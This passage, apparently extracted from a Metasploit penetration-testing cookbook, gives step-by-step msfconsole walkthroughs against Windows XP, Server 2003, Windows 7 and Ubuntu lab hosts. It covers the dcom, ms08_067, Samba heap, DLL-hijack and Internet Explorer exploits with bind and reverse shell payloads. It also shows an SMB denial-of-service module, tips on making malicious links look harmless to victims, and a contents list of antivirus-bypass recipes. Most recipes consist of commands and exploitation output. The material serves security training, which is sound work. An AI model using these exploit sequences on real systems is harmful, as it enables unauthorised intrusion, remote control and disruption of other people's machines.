"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nGetting ready\nWe will again start off by launching our msfconsole and our target is the same as in \nthe Penetration testing on a Windows XP SP2 machine recipe. We will use the same \ndcom vulnerability and then use a different payload this time to bind a shell to the target.\nHow to do it...\nTo bind a shell to the target, follow these steps:\n1.\t We will begin by selecting the dcom exploit against our target machine. We will set up \nthe various exploit parameters and then select the payload:\nmsf > use exploit/windows/dcerpc/ms03_026_dcom \nmsf exploit(ms03_026_dcom) > show options\nModule options (exploit/windows/dcerpc/ms03_026_dcom):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 135 yes The target port\nExploit target:\n Id Name\n -- ----\n 0 Windows NT SP3-6a/2000/XP/2003 Universal\nmsf exploit(ms03_026_dcom) > set RHOST 192.168.56.102\nRHOST => 192.168.56.102\n2.\t Now that our exploit is set up, we will now move to payload. Using the show \npayloads command will list all the available payloads. Now, we will use the \nwindows/shell/bind_tcp payload that will open a TCP connection on port \n4444 (by default) on the target machine and provide us a command shell:\nmsf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp \nPAYLOAD => windows/shell/bind_tcp\n"
},
{
"page_number": 78,
"text": "Chapter 3\n55\n3.\t Now: using the show options command, we can set up other relevant parameters \nsuch as RHOST and change the default port. After setting up the parameters, we will \nexecute the exploit. Let us see what the output of the execution is:\nmsf exploit(ms03_026_dcom) > exploit\n[*] Started reverse handler on 192.168.56.101:4444 \n[*] Automatically detecting the target...\n[*] Fingerprint: Windows XP - Service Pack 2 - lang:English\n[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)\n[*] Attempting to trigger the vulnerability...\n[*] Sending stage (240 bytes) to 192.168.56.102\n[*] Command shell session 1 opened (192.168.56.101:4444 -> \n192.168.56.102:1052) at 2011-10-31 01:55:42 +0530\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\nC:\\WINDOWS\\system32>\nThe exploit has been executed successfully and we have a command prompt started in our \nmsfconsole. Now this session can be used to gain complete remote access of the target \nmachine. We can exit from this session anytime by using the exit command.\nYou might have realized by now the power of payloads in Metasploit. It is highly encouraged \nthat one should try various available payloads in order to understand their functionality.\nHow it works...\nThe working of dcom exploit is the same as explained in the previous recipe. To understand \nthe working of bind_tcp, we will have to wait a bit as it involves some concepts that we will \ndeal with in a later chapter of this book. Still, you can have a look at the payload ruby code \nby browsing to /pentest/exploits/framework3/modules/payloads/stagers/\nwindows/bind_tcp.rb.\nThere's more...\nWhat next? How can a shell access provide us control over the target.\n"
},
{
"page_number": 79,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nGaining complete control of the target\nNow that we have a shell connectivity set up with our target machine, we can have full access \nto the target machine by using the command prompt. We can now move ahead to explore \nthe target machine by using the common DOS commands available to us. Some of the basic \noperations include directory listing, copying files and folders, creating user agents, and so on.\nPenetration testing on the Windows 2003 \nServer\nIn the previous recipe, we analyzed how to use the dcom exploit to cause a buffer overflow \nand exploit our Windows target. In this recipe, we will focus on a similar but logically different \nenvironment. The Windows 2003 Server is one of the most widely used enterprise-based \noperating systems of Microsoft. In this recipe, we will see how we can exploit a Windows \n2003 Server. The updated versions of the Windows 2003 Server are patched so the dcom \nvulnerability doesn't work in it. So we will try different vulnerability in this recipe. We will be \nusing the netapi32.dll vulnerability. First, we will analyze the exploitation process and \nthen analyze the cause of this vulnerability. So let us start our penetration testing.\nGetting ready\nTo start with, let us launch msfconsole and perform a quick scan of the target. It is always \nrecommended that you should follow all the steps in a sequential order to make sure it \nstrengthens the basics. The next step will be the same as we discussed in the previous two \nrecipes. The only difference will be in using the exploit.\nHow to do it...\nTo perform penetration testing on the Windows 2003 Server, follow these steps:\n1.\t Let us start with searching for netapi. This will list any available exploit related \nto netapi in the Metasploit directory:\nmsf > search netapi\nMatching Modules\n================\n Name Disclosure Date Rank \n ---- --------------- ---- \nexploit/windows/smb/ms03_049_netapi 2003-11-11 good \n"
},
{
"page_number": 80,
"text": "Chapter 3\n55\nexploit/windows/smb/ms06_040_netapi 2006-08-08 good \nexploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual \nexploit/windows/smb/ms08_067_netapi 2008-10-28 great \nAs we can see, out of the four results, the last exploit has a great rating. So we will \nprefer using this exploit.\n2.\t We will set up RHOST as our target Windows 2003 Server:\nmsf > use exploit/windows/smb/ms08_067_netapi\nmsf exploit(ms08_067_netapi) > show options\nModule options (exploit/windows/smb/ms08_067_netapi):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 445 yes Set the SMB service port\n SMBPIPE BROWSER yes The pipe name to use \n(BROWSER, SRVSVC)\nExploit target:\n Id Name\n -- ----\n 0 Automatic Targeting\nmsf exploit(ms08_067_netapi) > set RHOST 192.168.56.102\nRHOST => 192.168.56.102\nAgain, the Id value 0 suggests that we do not need to specify the target \noperating system.\n"
},
{
"page_number": 81,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\n3.\t Once we have completed the exploit loading the process, the next step will be to set \nup the payload. We will again set up a tcp_bind shell on the target machine, as we \ndiscussed earlier.\nmsf exploit(ms08_067_netapi) > set payload \nwindows/shell/bind_tcp\npayload => windows/shell/bind_tcp\nmsf exploit(ms08_067_netapi) > set LHOST 192.168.56.101\nLHOST => 192.168.56.101\nSo now, our exploit and payload are ready. The next and the final step is to use the exploit \ncommand. Let us analyze the result of the execution:\nmsf exploit(ms08_067_netapi) > exploit\n[*] Started bind handler\n[*] Automatically detecting the target...\n[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English\n[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)\n[*] Attempting to trigger the vulnerability...\n[*] Sending stage (240 bytes) to 192.168.56.102\n[*] Command shell session 1 opened (192.168.56.101:43408 -> \n192.168.56.102:4444) at 2011-11-02 21:25:30 +0530\nC:\\WINDOWS\\system32>\nBingo! We have a shell connection with our target. This gives us access to the target machine \nthrough the command line. You can see how powerful Metasploit can be for penetrating \ntarget machines. It really simplifies our task to a greater extent. Let us take a quick look \nat the exploit we used in this recipe.\nHow it works...\nThis module exploits a parsing flaw in the path canonicalization code of netapi32.dll \nthrough the Server Service. This module is capable of bypassing NX on some operating \nsystems and service packs. The correct target must be used to prevent the Server Service \n(along with a dozen others in the same process) from crashing.\n"
},
{
"page_number": 82,
"text": "Chapter 3\n55\nWindows 7/Server 2008 R2 SMB client \ninfinite loop\nThere are very few exploits available for Windows 7 and Windows Server 2008. The SMB \nclient infinite loop is one such vulnerability that causes a system crash. This vulnerability will \nnot provide any session or shell connectivity, but it is worth discussing. We will deal with the \nDLL injection flaw in Windows 7 in the Understanding the Windows DLL injection flaws recipe.\nThe SMB client in the kernel in Microsoft Windows Server 2008 R2 and Windows 7 allows \nremote SMB servers and man-in-the-middle attackers to cause a denial of service (infinite \nloop and system hang) via SMBv1 or SMBv2 response packet. The packet contains an \nincorrect length value in a NetBIOS header or an additional length field at the end of this \nresponse packet. This incorrect header value is the main reason for the vulnerability.\nGetting ready\nMetasploit contains an auxiliary module auxiliary/dos/windows/smb/ms10_006_\nnegotiate_response_loop which can be used to exploit the SMB server and cause a \ndenial of service. The attack vector works by passing a UNC path into a web page and asking \nthe user to execute it. Once the user opens the shared file, the system crashes completely and \nthe target will be forced to restart.\nHow to do it...\nTo begin using this auxiliary module, we will have to execute the use command along with the \npath to the module. Then, we will move ahead to set up the required parameters and execute \nthe module. Let us proceed to practically implement these steps:\nmsf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop\nmsf auxiliary(ms10_006_negotiate_response_loop) > show options\nModule options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_\nloop):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n SRVHOST 0.0.0.0 yes The local host..\n"
},
{
"page_number": 83,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\n SRVPORT 445 yes The SMB port to listen \n SSL false no Negotiate SSL..\n SSLCert no Path to a custom SSL \n SSLVersion SSL3 no Specify the version..\nLet us quickly set up the various parameters. The only parameter to look for is SRVHOST \nthat is the localhost IP address or the penetration testers IP address.\nmsf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST \n192.168.56.101\nSRVHOST => 192.168.56.101\nHow it works...\nWe will use the run command to execute the auxiliary module. Once the module executes, \nit generates a shared folder link which has to be sent to the target. In this case, the link \ngenerated is \\\\192.168.56.101\\Shared\\Anything.\nmsf auxiliary(ms10_006_negotiate_response_loop) > run\n[*] Starting the malicious SMB service...\n[*] To trigger, the vulnerable client should try to access: \n\\\\192.168.56.101\\Shared\\Anything\n[*] Server started.\nNow we can make the link look less suspicious by crafting a web page and attaching this \nlink to it and then sending it to the target user. Once the target clicks on this link, the system \nwill completely freeze and will lead to a complete denial of service, thus leading to restart \nthe system.\nExploiting a Linux (Ubuntu) machine\nLinux is also one of the widely used operating systems after Windows. In the previous few \nrecipes, we saw how we can penetrate a Windows machine by exploiting critical flaws in \navailable services. In this recipe, we will deal with the Linux operating systems. We will be \nusing Ubuntu 9.0 in this recipe, but the process will be similar for exploiting any flavor of \nLinux and Solaris running the Samba service. Let us move ahead with the recipe.\n"
},
{
"page_number": 84,
"text": "Chapter 3\n55\nGetting ready\nWe will start by scanning our target Linux machine to gather information about the available \nservices. Let us perform a quick Nmap scan and analyze its result:\nmsf > nmap -sT 192.168.56.101\n[*] exec: nmap 192.168.56.101\nStarting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST\nWarning: Traceroute does not support idle or connect scan, disabling...\nNmap scan report for 192.168.56.101\nHost is up (0.00048s latency).\nNot shown: 997 closed ports\nPORT STATE SERVICE VERSION\n80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) \n|_html-title: Index of /\n139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) \n445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)\nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)\nNo exact OS matches for host (If you know what OS is running on it, see \nhttp://nmap.org/submit/ )\nSo now we have gathered information about the target. Our next step will be to select \nan exploit and a suitable payload for it.\nHow to do it...\nThe process of penetrating a Linux machine is similar to that of Windows. Follow these steps:\n1.\t All we have to focus on is selecting the right exploit and payload. Let us search for any \nSamba exploit available in the Metasploit directory:\nmsf > search Samba\n"
},
{
"page_number": 85,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\n2.\t The command will provide a list of various auxiliaries and exploit modules for Samba. \nWe will use the exploit/linux/samba/lsa_transnames_heap module that is \nlisted as a good rank exploit. So it will have higher probability of exploiting the target. \nLet us set the exploit as active and set up the parameters.\nmsf > use exploit/linux/samba/lsa_transnames_heap\nmsf exploit(lsa_transnames_heap) > show options\nModule options (exploit/linux/samba/lsa_transnames_heap):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 445 yes Set the SMB service port\n SMBPIPE LSARPC yes The pipe name to use\nExploit target:\n Id Name\n -- ----\n 0 Linux vsyscall\nmsf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101\nRHOST => 192.168.56.101\nmsf exploit(lsa_transnames_heap) >\n3.\t Now our next task is to select a payload. We will have to keep one thing in mind that \nas we are targeting a Linux machine, we will have to select a Linux payload for our \npenetration process. We will be using the linux/x86/shell_bind_tcp payload \nthat works similar to the bind_tcp payload we analyzed in the previous recipes \nfor Windows.\nmsf exploit(lsa_transnames_heap) > set payload linux/x86/shell_\nbind_tcp \npayload => linux/x86/shell_bind_tcp\n"
},
{
"page_number": 86,
"text": "Chapter 3\n55\nmsf exploit(lsa_transnames_heap) > show options\nModule options (exploit/linux/samba/lsa_transnames_heap):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST 192.168.56.101 yes The target address\n RPORT 445 yes Set the SMB service port\n SMBPIPE LSARPC yes The pipe name to use\nPayload options (linux/x86/shell_bind_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n LPORT 4444 yes The listen port\n RHOST 192.168.56.101 no The target address\n4.\t We are all set now and our final step will be to provide the exploit command to begin \nthe process of exploitation:\nmsf exploit(lsa_transnames_heap) > exploit\n[*] Started bind handler\n[*] Creating nop sled....\n[*] Trying to exploit Samba with address 0xffffe410...\n[*] Connecting to the SMB service...\nOn successful execution of the exploit, we will be provided with shell connectivity with our \ntarget machine. The process is very much similar to the ones we discussed in previous \nrecipes. The only difference lies in selecting exploits and payloads. The more different \ncombinations of exploits and payloads you try the better will be your understanding about it.\n"
},
{
"page_number": 87,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nHow it works...\nLet us go through a quick note about the service, its exploit, and working. Samba is used \nfor printers and file sharing between Linux and Windows machines. This module triggers \na heap overflow in the LSA RPC service of the Samba daemon. This module uses the talloc \nchunk overwrite method (credit Ramon and Adriano), which only works with Samba versions \n3.0.21-3.0.24. The exploit takes advantage of dynamic memory allocation in heaps. There \nare chances that the exploit may not succeed on the first attempt, so you can try multiple \ntimes to achieve success.\nThere's more...\nLet us cover some more relevant modules related to the Linux operating system.\nOther relevant exploit modules for Linux\nApart from the exploit module discussed in this recipe, there are two more modules which \ndeserve some attention. It is highly recommended that you should try these exploits manually \nto understand them deeply. They are:\nf\nf\nSamba chain_reply Memory Corruption: This exploit works by corrupting the memory \nallocated to the response packets in Samba versions prior to 3.3.13. The memory \ncrashes by passing a value larger than the destination buffer size.\nf\nf\nSamba trans2open Overflow: This is a buffer overflow vulnerability existing in Samba \nversions 2.2.0 to 2.2.8. It works by exploiting the flaw on x86 Linux machines that do \nnot have the noexec stack option set.\nUnderstanding the Windows DLL injection \nflaws\nIn this recipe, we will deal with a special kind of vulnerability that does not directly exist in the \nWindows operating system. In fact, it exists in various application software that run on Windows. \nThis remote attack vector deals with a class of vulnerabilities that affects how applications load \nexternal libraries. We will give an oversight of this issue to analyze it closely.\nGetting ready\nThis attack vector involves creation of a vulnerable path or directory that the target will have to \nexecute in order to trigger it. The directory can be a file, extracted archive, USB drive, network \nshare, and so on. The file created will be completely harmless, but it will execute a DLL injection \ncode to compromise the system.\n"
},
{
"page_number": 88,
"text": "Chapter 3\n55\nHow to do it...\nLet us analyze a practical implementation of a DLL injection. In this example, our target \nmachine is an unpatched Windows 7 Ultimate machine. The process works by creating \na link to share the file which the target will have to access and execute. You will understand \nthe process as we move ahead.\n1.\t We will be using the exploit/windows/browser/webdav_dll_hijacker \nmodule as an exploit and windows/meterpreter/bind_tcp as the payload. \nLet us quickly set up the exploit and payload along with other required parameters:\nmsf > use exploit/windows/browser/webdav_dll_hijacker\nmsf exploit(webdav_dll_hijacker) > set payload windows/\nmeterpreter/bind_tcp\npayload => windows/meterpreter/bind_tcp\nmsf exploit(webdav_dll_hijacker) > show options\nModule options (exploit/windows/browser/webdav_dll_hijacker):\nName Current Setting Required Description\n---- --------------- -------- -----------\nBASENAME policy yes The base name for the listed \nEXTENSIONS txt yes The list of extensions\nSHARENAME documents yes The name of the top-level \nSRVHOST 0.0.0.0 yes The local host... \nSRVPORT 80 yes The daemon port to listen \nSSLCert no Path to a custom SSL..\nURIPATH / yes The URI to use\n"
},
{
"page_number": 89,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nPayload options (windows/meterpreter/bind_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: seh..\n LPORT 4444 yes The listen port\n RHOST 192.168.56.102 no The target address\nExploit target:\n Id Name\n -- ----\n 0 Automatic\nThe various parameters of the exploit will help in creating a particular file and \ntop-level share. The BASENAME parameter contains the name of the file to be \ncreated. EXTENSIONS is the file type to be created. SHARENAME is the top-level \nshared directory that will be created for access. SRVHOST is the local listening \nport and SRVPORT is the port number on which the the SRVHOST will listen for \na connection.\n2.\t Once you have set up the respective parameters of exploit and payload, \nthe next step is to execute the exploit. Let us see what happens when \nwe execute it:\nmsf exploit(webdav_dll_hijacker) > exploit\n[*] Exploit running as background job.\n[*] Started bind handler\n[*] \n[*] Exploit links are now available at\n \n\\\\192.168.56.101\\documents\\\n3.\t Once the exploit executes successfully, it starts listening for a connection and also \nprovides a shared link that the target will have to open in order to trigger the exploit. \nLet us switch to the target screen to see what happens:\n"
},
{
"page_number": 90,
"text": "Chapter 3\n55\nThe target will view a simple file, policy.txt, which has been shared by the attacker. \nThe file is completely harmless. Once the user executes this file, a connection is established \nwith the attacker's machine and shell connectivity is established. Once the file is executed \non the target, the DLL will execute and you will see a lot of activity on your msfconsole \nscreen. Once the DLL injection succeeds, we will have shell connectivity (see the \nfollowing screenshot):\n"
},
{
"page_number": 91,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nHow it works...\nLet us dig out the reason for this vulnerability. Dynamic Link Library (DLL) is Microsoft's \nimplementation of shared library concept for Windows. DLLs are the executables that are \nassociated with a program during the runtime to load the shared libraries linked with it. \nWhen an application runs, a loadlibrary() function loads the required DLL at runtime. \nIf the location of the DLL to be loaded is not specified or an insufficiently qualified library \npath is provided by the application, Windows uses its own set of defined order to search \nfor it. One of the locations in this default order is the current working directory.\nNow when the target user visits the shared location, it reaches an attacker-controlled zone. \nHow? The shared file (policy.txt) contains a less qualified path of the DLL, so when the \ntarget user executes it, Windows starts its own search for the missing DLL. Now, as the current \nworking directory (/documents) is controlled by the attacker, he/she can add a malicious \nDLL code in it that Windows will execute (as the current working directory is one of the default \nlocations where Windows looks for the libraries). Now this malicious DLL can give the power \nof executing external scripts to the attacker. Hence, the payload now comes into action and it \nsets up a shell connectivity giving full access to the target system to the attacker. This is how \nthis whole attack vector is crafted.\nThere's more...\nWe can look for a DLL injection using a simple tool developed by H. D. Moore. Let us have \na quick overview of it.\nThe DllHijackAudit kit by H. D. Moore\nThe creator of Metasploit, H. D. Moore created this security audit tool which can be used \nto perform a test for DLL injection flaws in your own environment. It leverages the process \nmonitoring utility and Ruby interpreter. It works by monitoring whether or not a DLL was \naccessed within the working directory of the associated file. It also generates test reports. \nThe tool and detailed documentation can be found at http://blog.metasploit.\ncom/2010/08/better-faster-stronger.html.\n"
},
{
"page_number": 92,
"text": "4\nClient-side \nExploitation and \nAntivirus Bypass\nIn this chapter, we will cover:\nf\nf\nInternet Explorer unsafe scripting misconfiguration vulnerability\nf\nf\nInternet Explorer recursive call memory corruption\nf\nf\nMicrosoft Word RTF stack buffer overflow\nf\nf\nAdobe Reader util.printf() buffer overflow\nf\nf\nGenerating binary and shellcode from msfpayload\nf\nf\nBypassing client-side antivirus protection using msfencode\nf\nf\nUsing killav.rb script to disable antivirus programs\nf\nf\nA deeper look into the killav.rb script\nf\nf\nKilling antivirus services from the command line\nIntroduction\nIn the previous chapter, we focused on penetration testing the target operating system. \nOperating systems are the first level of penetrating the target because an unpatched and \noutdated operating system can be easy to exploit and it will reduce our effort of looking for \nother methods of penetrating the target. But the situation can vary. There can be cases \nin which a firewall may block our scan packets and, thus, prevent us from gaining any \ninformation about the target operating system or open ports.\n"
},
{
"page_number": 93,
"text": "Client-side Exploitation and Antivirus Bypass\n78\nThere can also be a possibility that the target has automatic updates which patches the \nvulnerabilities of the operating system at regular intervals. This can again kill all the attacks \nof penetrating the target. Such security measures can prevent us from gaining access to the \ntarget machine by exploiting known vulnerabilities of the operating system in use. So we will \nhave to move a step ahead. This is where client-side exploitation and antivirus bypassing \ntechniques comes into play. Let us first understand a typical client-side attack vector.\nSuppose the penetration tester has figured out that the target machine has an updated \nWindows XP SP3 operating system and Internet Explorer version 7 set up as the default \nbrowser to access the Internet and other web-related services. So, the pen-tester will now \ncraft a malicious URL that will contain an executable script which can exploit a known \nvulnerability of IE 7. Now he builds a harmless looking HTML page and creates a hyperlink \nwhich contains the same malicious URL. In the next step, he transfers the HTML page to \nthe target user through social engineering and somehow entices him to click the malicious \nhyperlink. Since the link contained a known exploit of IE 7 browser, it can compromise the \nbrowser and allow further code execution, thus giving the penetration tester power to control \nthe target system. He can move ahead to set up a backdoor, drop a virus, and so on.\nWhat exactly happens now? Although the target machine was running a patched and updated \nversion of Windows the default browser IE 7 was not updated or rather neglected by the target \nuser. This allowed the penetration tester to craft a scenario and break into the system through \nthe browser vulnerability.\nThe scenario discussed previously is a simple client-side attack in which the target unknowingly \nexecutes a script which exploits vulnerability in the application software used by the target user. \nOn successful execution of the exploit, the attacker compromises the system security.\nMetasploit provides us with a large variety of exploit modules for several popular software \nwhich can be used to perform a client-side attack. Some of the popular tools which we will \ndiscuss in this chapter include Internet Explorer, Microsoft Office pack, Adobe reader, Flash, \nand so on. Metasploit repository contains several modules for these popular tools. Let us \nquickly analyze the client-side exploitation process in Metasploit. Our aim is to successfully \nattack the target through a client-side execution and set up shell connectivity.\nMetasploit breaks this penetration process into two simple steps:\n1.\t It generates the respective malicious link/file for the application tool you choose to \ntarget. After that, it starts listening on a particular port for a back connection with the \ntarget. Then the attacker sends the malicious link/file to the target user.\n2.\t Now once the target executes the malicious link/file, the application gets exploited \nand Metasploit immediately transfers the payload to some other Windows process so \nthat if the target application crashes (due to exploit) or a user closes the application, \nthe connectivity still remains.\n"
},
{
"page_number": 94,
"text": "Chapter 4\n79\nThe two preceding steps will be clear to you when we will discuss the recipes based on \nclient-side attacks. This chapter will focus on some key application software based on the \nWindows operating system. We will start with analyzing browser-based client side exploits. \nWe will look into various existing flaws in Internet Explorer (version 6, 7, and 8) and how \nto target it to penetrate the user machine. Then, we will shift to another popular software \npackage named Microsoft Office (version 2003 and 2007) and analyze its formatting \nvulnerability. Then, we will move ahead with analyzing PDF vulnerabilities and how a \nmalicious PDF can be used to compromise the user security. Last, but not the least, \nwe will discuss a very important aspect of penetration testing called antivirus bypass. \nIt will focus on overriding the client-side antivirus protection to exploit the target machine \nwithout raising alarms.\nThis chapter will leverage the complete power of the Metasploit framework so that you \nwill love reading and implementing it. Let us move ahead with our recipes for this chapter.\nInternet Explorer unsafe scripting \nmisconfiguration vulnerability\nLet us start with the first browser-based client side exploit. The elementary process of using \nany client-side exploit module is similar to the ones we discussed in previous chapters. The \nonly difference lies in transferring the exploit to the target. Unlike operating system-based \nexploits, client-side exploits require manual execution of the exploit and payload at the target \nmachine. You will understand it clearly, once we proceed with the recipe. So let us quickly dive \ninto implementing the attack.\nGetting ready\nWe will start with launching our msfconsole and selecting the relevant exploit. The process \nis similar to what we have been discussing so far in previous chapters. Then, we will move \nahead to select a payload which will help us set a shell connectivity with the target machine. \nThe exploit we will be dealing with in this recipe is exploit/windows/browser/i.e. \nunsafe scripting.\nThis exploit is known to affect Internet Explorer version 6 and 7 which are \ndefault browsers in all versions of Windows XP and 2003 servers. But it \nran successfully even on my Windows 7 ultimate with internet Explorer 8 \n(unpatched).\n"
},
{
"page_number": 95,
"text": "Client-side Exploitation and Antivirus Bypass\n80\nThis exploit works when the Initialize and script ActiveX controls not marked as safe setting \nis marked within Internet Explorer. The following setting can be found by launching Internet \nExplorer and browsing to Tools | Internet Options | Security | Custom Level | Initialize and \nscript ActiveX controls not marked as safe | Enable.\nSimilar settings can be made in other versions of Internet Explorer as well. In this recipe, \nwe will exploit two different targets. One is running Windows XP SP2 with IE 7 and the other \nis running Windows 7 with IE 8. Let us now move ahead to execute the exploit.\nHow to do it...\nLet us start with launching the msfconsole and set our respective exploit as active. \nWe will be using the reverse_tcp payload to get shell connectivity with the two \ntargets once they are exploited: \n msf > use exploit/windows/browser/ie_unsafe_scripting\nmsf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/\nreverse_tcp\npayload => windows/meterpreter/reverse_tcp\n"
},
{
"page_number": 96,
"text": "Chapter 4\n81\nmsf exploit(ie_unsafe_scripting) > show options\nModule options (exploit/windows/browser/ie_unsafe_scripting):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n SRVHOST 0.0.0.0 yes The local host to..\n SRVPORT 8080 yes The local port to..\n SSL false no Negotiate SSL..\n SSLCert no Path to a custom SSL..\n SSLVersion SSL3 no Specify the version..\n URIPATH no The URI to use for..\nPayload options (windows/meterpreter/reverse_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: seh..\n LHOST yes The listen address\n LPORT 4444 yes The listen port\nExploit target:\n Id Name\n -- ----\n 0 Automatic\nmsf exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101\nLHOST => 192.168.56.101\n"
},
{
"page_number": 97,
"text": "Client-side Exploitation and Antivirus Bypass\n82\nNow our exploit, as well as the payload has been set active. As you can see, we have not used \nthe RHOST option here because it is a client-based attack. Let's see what happens when we \nexecute the exploit command:\nmsf exploit(ie_unsafe_scripting) > exploit\n[*] Exploit running as background job.\n[*] Started reverse handler on 192.168.56.101:4444 \n[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB\n[*] Local IP: http://192.168.56.101:8080/2IGIaOJQB\n[*] Server started.\nAs we can see, a link has been generated as a result of the exploit command. This is the \nmalicious link (http://192.168.56.101:8080/2IGIaoJQB) that we will have to send to \nour targets, so that it can exploit their browser. Also the last line says \"server started\" which is \nactually listening for a connection on port 4444 from the target machine. Let us first analyze \nthe outcome of the link execution on the Windows XP target machine.\nThe browser will try to load the page, but at the end nothing will be displayed. In turn, \nthe browser either will hang or will remain idle. But you will notice some activity on your \nmsfconsole. This activity will be similar to the one shown in the following command line:\nmsf exploit(ie_unsafe_scripting) > [*] Request received from \n192.168.56.102:1080...\n[*] Encoding payload into vbs/javascript/html...\n[*] Sending exploit html/javascript to 192.168.56.102:1080...\n[*] Exe will be uunqgEBHE.exe and must be manually removed from the \n%TEMP% directory on the target.\nSending stage (752128 bytes) to 192.168.56.102\n [*] Meterpreter session 1 opened (192.168.56.101:4444 -> \n192.168.56.102:1081) at 2011-11-12 21:09:26 +0530\nAwesome! We have an active session with our target machine. The preceding command-line \noutput shows that an executable file has been created in the temp folder of our target which \nis responsible for this entire exploitation process.\nLet us now analyze the outcome of this malicious link execution on the Windows 7 machine \nwith IE 8. \n"
},
{
"page_number": 98,
"text": "Chapter 4\n83\nWe will notice that Internet Explorer will prompt with an alert message. On clicking \nAllow, the outside script will get executed and the browser may crash or hang \n(depending upon the system).\nLet us switch to attacking the msfconsole and notice the activity. We will notice the following \ncommand-line activity:\nmsf exploit(ie_unsafe_scripting) > [*] Request received from \n192.168.56.1:51115...\n[*] Encoding payload into vbs/javascript/html...\n[*] Sending exploit html/javascript to 192.168.56.1:51115...\n[*] Exe will be uddoE.exe and must be manually removed from the %TEMP% \ndirectory on the target.\n[*] Sending stage (752128 bytes) to 192.168.56.1\n[*] Meterpreter session 2 opened (192.168.56.101:4444 -> \n192.168.56.1:51116) at 2011-11-12 21:15:47 +0530\n"
},
{
"page_number": 99,
"text": "Client-side Exploitation and Antivirus Bypass\n84\nWe have yet another active session opened with the Windows 7 machine as well. Let us start \ninteracting with our sessions: \nmsf exploit(ie_unsafe_scripting) > sessions\nActive sessions\n===============\n Id Type Information Connection\n -- ---- ----------- ----------\n 1 meterpreter x86/win32 DARKLORD-9CAD38\\darklord \n 2 meterpreter x86/win32 HackingAlert-PC\\hackingalert\nAs you can see, the sessions command has revealed the active sessions available to us. \nOne is our Win XP machine and the other one is the Win7 machine. Let us move ahead to \ninteract with the second session, that is, the Windows 7 machine.\n msf exploit(ie_unsafe_scripting) > sessions -i 1\nmeterpreter > shell\nProcess 4844 created.\nChannel 1 created.\nMicrosoft Windows [Version 6.1.7264]\nCopyright (c) 2009 Microsoft Corporation. All rights reserved.\nC:\\Windows\\system32>\nHow it works...\nThe working process might be clear to you. Let us focus on the reason for this exploit. When \n\"Initialize and script ActiveX controls not marked safe for scripting\" is set, then it allows access \nto the WScript.Shell ActiveX control. This WScript.Shell object provides functions to \nread the file system, environment variables, read and modify registry, and manage shortcuts. \nThis feature of WScript.Shell allows the attacker to create a JavaScript to interact with the \nfile system and run commands.\n"
},
{
"page_number": 100,
"text": "Chapter 4\n85\nThere's more...\nLet us talk about another important browser-based exploit which can be used in \na client-side attack.\nInternet Explorer Aurora memory corruption\nThis is another widely used exploit for IE which came into light in mid 2010. This flaw was the \nkey component of \"Operation Aurora\" in which hackers targeted some top companies. This \nmodule exploits a memory corruption flaw in IE 6. I am leaving this module as an exercise \nfor you to try out and explore. The exploit can be found in exploit/windows/browser/\nms10_002_aurora.\nInternet Explorer CSS recursive call memory \ncorruption\nThis is one of the most recent exploits available for the Windows platform running IE browser. \nThis exploit is known to affect Windows 7 and Windows 2008 server with IE 8 as the default \nbrowser. The working process of this exploit is similar to the one we just discussed in the \nprevious recipe. So let us quickly test it. Our target machine is a Windows 7 ultimate edition \nwith IE 8 (unpatched) running as the default browser.\nGetting ready\nWe will start with launching the msfconsole. Our exploit in this recipe is exploit/windows/\nbrowser/ms11_003_ie_css_import and our payload will be windows/meterpreter/\nbind_tcp which will help in gaining shell connectivity with the target machine. \nHow to do it...\nWe will start the same way we have been doing so far. First, we will select the exploit. \nThen, we will select the payload and pass on the various parameter values required by the \nexploit and the payload. Let us move ahead with all these steps in our msfconsole. \nmsf > use exploit/windows/browser/ms11_003_ie_css_import \nmsf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/\nreverse_tcp\npayload => windows/meterpreter/reverse_tcp\nsmsf exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101\nLHOST => 192.168.56.101\n"
},
{
"page_number": 101,
